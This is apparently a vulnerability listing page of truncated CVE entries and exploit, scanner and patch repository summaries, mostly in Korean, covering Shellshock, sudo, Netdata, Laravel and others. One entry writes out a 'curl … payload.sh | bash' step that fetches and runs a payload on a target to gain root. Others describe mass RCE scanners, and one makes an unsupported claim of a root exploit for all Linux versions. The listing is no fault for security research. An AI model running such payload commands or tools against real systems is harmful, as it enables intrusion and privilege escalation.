PT-2026-106219

Name of the Vulnerable Software and Affected Versions Chainguard Academy edu integrate-platform-docs composite GitHub Action versions from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff through commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 Description Improper neutralization of special element...

PT-2026-106235

Name of the Vulnerable Software and Affected Versions Langflow versions prior to 1.9.0 Description Authenticated users can achieve Remote Code Execution RCE on the server by adding a Model Context Protocol MCP server using the "Stdio" transport. The command field is passed directly to bash -c "ex...

bash-cve-2014-6271-fixes

bash용 CVE-2014-6271 패치 원래 메일링 리스트 게시물은 인증되지 않은 HTTP를 통해서만 패치를 내려받을 수 있게 되어 있습니다. 한숨 저는 이 패치들을 HTTP로 내려받아 HTTPS로 가져와서 독립적으로 확인할 수 있는 git 저장소에 넣어 두었습니다. 이 파일들이 진본인지 여부는 확인하지 않았지만, 동일한 파일을 가지고 있는지는 직접 확인할 수 있습니다. 원본 공지 SHA256SUMS == 업스트림 패치 == http://ftp.gnu.org/pub/gnu/bash/bach--patches/에서 가져옴...

Sudo-CVE-2019-14287

Sudo-CVE-2019-14287 CVE-2019-14287을 검증하고 실행하는 스크립트 연구 목적 스크립트는 Python3와 bash로 작성되었으며, 이 두 가지는 모든 최신 Linux 운영 체제에서 찾을 수 있는 가장 일반적인 인터프리터이기 때문입니다. 이 스크립트는 Linenum.sh 같은 열거 스캐너에 통합될 수 있습니다...

CVE-2022-37706

Description 출처: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706. 다음 환경에서 테스트함: Distributor ID: Ubuntu Description: Ubuntu 20.04.6 LTS Release: 20.04 Codename: focal USAGE 1. 취약한 머신에 익스플로잇을 복사/업로드합니다. 2. bash ./exploit.sh 명령을 실행합니다...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” 25년간 묵혀온 제로데이 원격 코드 실행 — 환경 변수를 통한 GNU Bash 취약점 📖 개요 CVE-2014-6271 , 일명 Shellshock 또는 Bashdoor는 GNU Bash 셸의 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 특수하게 조작된 환경 변수HTTP 헤더, DHCP, SSH 등을 통해를 전송하여 원격 셸 접근 을 얻을 수 있으며, 대개 인증이나 사용자 상호작용 없이도 가능합니다. 🧠 취약점 요약 항목| 값 ---|--- CVE ID|...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock infrar3d가 제작 이 저장소는 CVE-2014-6271 Shellshock 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Shellshock는 GNU Bash의 치명적인 취약점으로, 특수하게 조작된 환경 변수를 통해 임의 명령 실행 이 가능하게 합니다. 웹 서버가 HTTP 헤더를 Bash를 호출하는 CGI 스크립트로 전달할 때, 공격자는 해당 헤더를 통해 명령을 주입할 수 있습니다. 사용법: ./shellshockexp.sh -h shellshockexp.sh options...

bash-cve-2014-7169-cookbook

bash-cve-2014-7169-cookbook bash 'shellshock' 취약점이 패치되었는지 확인합니다. Julian Dunn @ Chef가 작성한 블로그 게시물을 기반으로 합니다. https://www.chef.io/blog/2014/09/30/detecting-repairing-shellshock-with-chef/...

ssh_Enum_vaild

sshEnumvaild OpenSSH 서버에서 CVE-2018-15473 취약점을 이용하여 유효한 SSH 사용자 이름을 열거하는 Bash 스크립트입니다. 인증 응답 분석을 통해 유효한 사용자 이름을 확인합니다. 기능 ✅ OpenSSH 응답 동작을 기반으로 유효한 SSH 사용자 이름 탐지 ✅ 공개 키 인증 우회 기법 사용 ✅ 병렬 처리를 통한 속도 최적화 ✅ 유효한 사용자 이름을 validusernames.txt에 자동 저장 ✅ Bash와 OpenSSH 클라이언트만 필요로 하는 경량 도구 1. 유효한 사용자 이름만 표시합니다...

docker-cve-2021-41773

CVE-2021-41773 docker 컨테이너에서 CVE-2021-41773 취약점을 시연하는 데모입니다. 사용법 서버 build.sh 실행docker build 실행 ./scripts/build.sh 참고: 한 번만 실행하면 됩니다. deploy.sh 실행build.sh의 이미지로 docker 컨테이너 생성 ./scripts/deploy.sh 컨테이너를 종료하려면 다음 명령을 실행하세요: docker rm --force cve-2021-41773 익스플로잇 시연 bash 사용: ./scripts/exploit.sh...

CVE-2024-24919

CVE-2024-24919 검사기 CVE-2024-24919 취약점을 확인하는 간단한 bash 스크립트입니다. 설치 저장소를 클론합니다: git clone https://github.com/am-eid/CVE-2024-24919.git cd CVE-2024-24919 chmod +x CVE-2024-24919 사용법 ./CVE-2024-24919 -l ips.txt...

Mass-CVE-2021-3129-Scanner

CVE-2021-3129 Laravel Debug RCE 대량 스캐너 사용법 $ bash massCVE-2021-3129scan.sh list.txt...

CVE-2025-9074

설명 Vibe가 의존성이 필요 없는 순수 Bash로 작은 익스플로잇 스크립트를 작성했습니다. 이 스크립트는 내부 Docker API와 통신하여 새 컨테이너를 생성하고 시작하며, 호스트 C 드라이브를 마운트한 후 그 안에서 명령을 실행합니다. 출력은 콘솔로 스트리밍됩니다. 이후 컨테이너는 제거됩니다. 사용법 ./exploit.sh "whoami"...

Gombruc

Gombruc 리눅스 권한 상승 모든 버전 이 취약점은 모든 Linux 시스템에 영향을 미치는 CVE-2025-0401과 관련이 있습니다. 이 bash 스크립트를 사용하면 사용자에게 Root 액세스를 포함한 모든 수준의 액세스 권한을 부여할 수 있습니다. 경고: 이 익스플로잇은 교육 목적으로만 제공되며 이 취약점을 악용하는 것은 위험합니다. 힌트 Linux에서 Gombruc를 사용하려면 다음 단계를 따르세요: Step 1. chmod +x Gombruc.sh Step 2. ./Gombruc.sh Step 3. 상승된 "root...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902 POC bash 버전 익스플로잇...

patch_CVE-2023-22809

patchCVE-2023-22809 Bash 스크립트: sudo 설치 이 Bash 스크립트는 시스템에 최신 버전의 sudo 설치를 자동화합니다. 전제 조건 Linux 기반 운영 체제 wget 패키지 설치됨 패키지 관리자를 사용하여 설치 가능 사용 방법 1. 이 저장소를 로컬 머신에 클론하거나 다운로드하십시오. 2. 스크립트가 포함된 디렉토리로 이동하십시오. 3. 스크립트 디렉토리에서 터미널을 여십시오. 4. 다음 명령어로 스크립트를 실행 가능하게 만드십시오: chmod +x CVE-2023-22809Patch.sh 상승된 권한...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC 바이너리 빌드: go build -ldflags "-s -w" -o nvme poc.go upx nvme bash 스크립트 실행: bash exploit.sh 대상 머신에서 쓰기 가능한 디렉토리에서 실행: curl http://:8000/payload.sh | bash 자동으로 nvme 바이너리를 다운로드하고, 경로를 설정하고, ndsudo를 실행한 후 /bin/bash에 SUID 를 추가합니다. 아마도 exploit.sh에서 ndsudo 경로를 변경해야 할 ...

revisaxzutils

revisaxzutils Bash 스크립트로 CVE-2024-3094 취약점이 있는지 확인합니다. 설치 Ubuntu, Kali Linux, Parrot을 위한 빠른 설치 git clone https://github.com/hackingetico21/revisaxzutils.git cd revisaxzutils chmod +x ./revisaxzutils.sh...

Mass-CVE-2025-29306

FoxCMS 대량 익스플로잇 도구 CVE-2025-29306 보안 연구자가 여러 대상에 걸쳐 원격 명령 실행RCE 테스트를 수행할 수 있는 특화된 자동화 도구입니다. 🛡️ 보안 참고사항 이 프로그램은 Bash 로 작성되었으며 SHCShell Script Compiler로 암호화/컴파일되었습니다. 소스 코드는 변조 및 무단 수정을 방지하기 위해 보호됩니다. 📋 요구사항 프로그램이 올바르게 실행되려면 시스템에 다음이 있는지 확인하십시오: curl python3 libxml2-utils xmllint용 🚀 시작하기 1. 대상 준비:...

Shellbash-CVE-2014-6271

Shellshock 원격 명령 주입 CVE-2014-6271 중국어 버전 취약한 환경을 빌드하고 실행합니다： docker-compose build docker-compose up -d http://your-ip/에 접속하면 두 개의 파일이 보입니다: safe.cgi victim.cgi safe.cgi는 최신 버전의 bash로 생성되고, victim.cgi는 shellshock에 취약한 bash4.3으로 생성된 페이지입니다. victim.cgi 방문 시 user-agent 문자열에 페이로드를 포함시켜 보내면 명령이 성공적으로...